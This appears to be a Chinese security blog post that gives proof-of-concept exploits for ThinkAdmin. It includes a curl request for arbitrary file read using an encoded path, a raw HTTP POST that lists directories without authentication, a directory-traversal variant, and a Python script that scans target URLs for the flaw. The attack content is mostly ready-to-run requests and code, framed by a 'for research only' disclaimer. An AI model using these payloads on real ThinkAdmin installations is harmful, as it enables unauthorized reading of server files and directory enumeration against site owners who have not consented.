大佬的审计文章:https://github.com/zoujingli/ThinkAdmin/issues/244
文章及POC仅供学习与研究,作者不负任何责任。请勿用于非法测试!!
任意文件读取
POC
curl http://127.0.0.1/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s
复现
读取文件的文件路径需要加密
不懂PHP,百度了一下这几个函数的用法,知道大概加密的流程。
编写脚本
再根本加密流程和请求方式写一个Python脚本,骗个关注:微信公众号:T9Sec 回复:ThinkAdmin 获取POC
未授权列目录
POC
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 就不告诉你:)
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.51
Content-Length: 11
rules=["/"]
复现
路径根据网站来进行目录穿越 rules=["../../../"]
写个POC 应该能够 300 字原创了
import requests,sys
def poc(url):
u = url+"/admin.html?s=admin/api.Update/node"
data = {'rules':'["/"]'}
r = requests.post(u,data=data)
if r.status_code == 200:
if "获取文件列表成功" in r.text:
print("[+] %s 存在未授权列目录" % url)
else:
print("[-] %s 不存在漏洞" %url)
if __name__ == "__main__":
if len(sys.argv) == 2:
poc(sys.argv[1])
else:
print("Usage: python poc.py http://127.0.0.1")
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论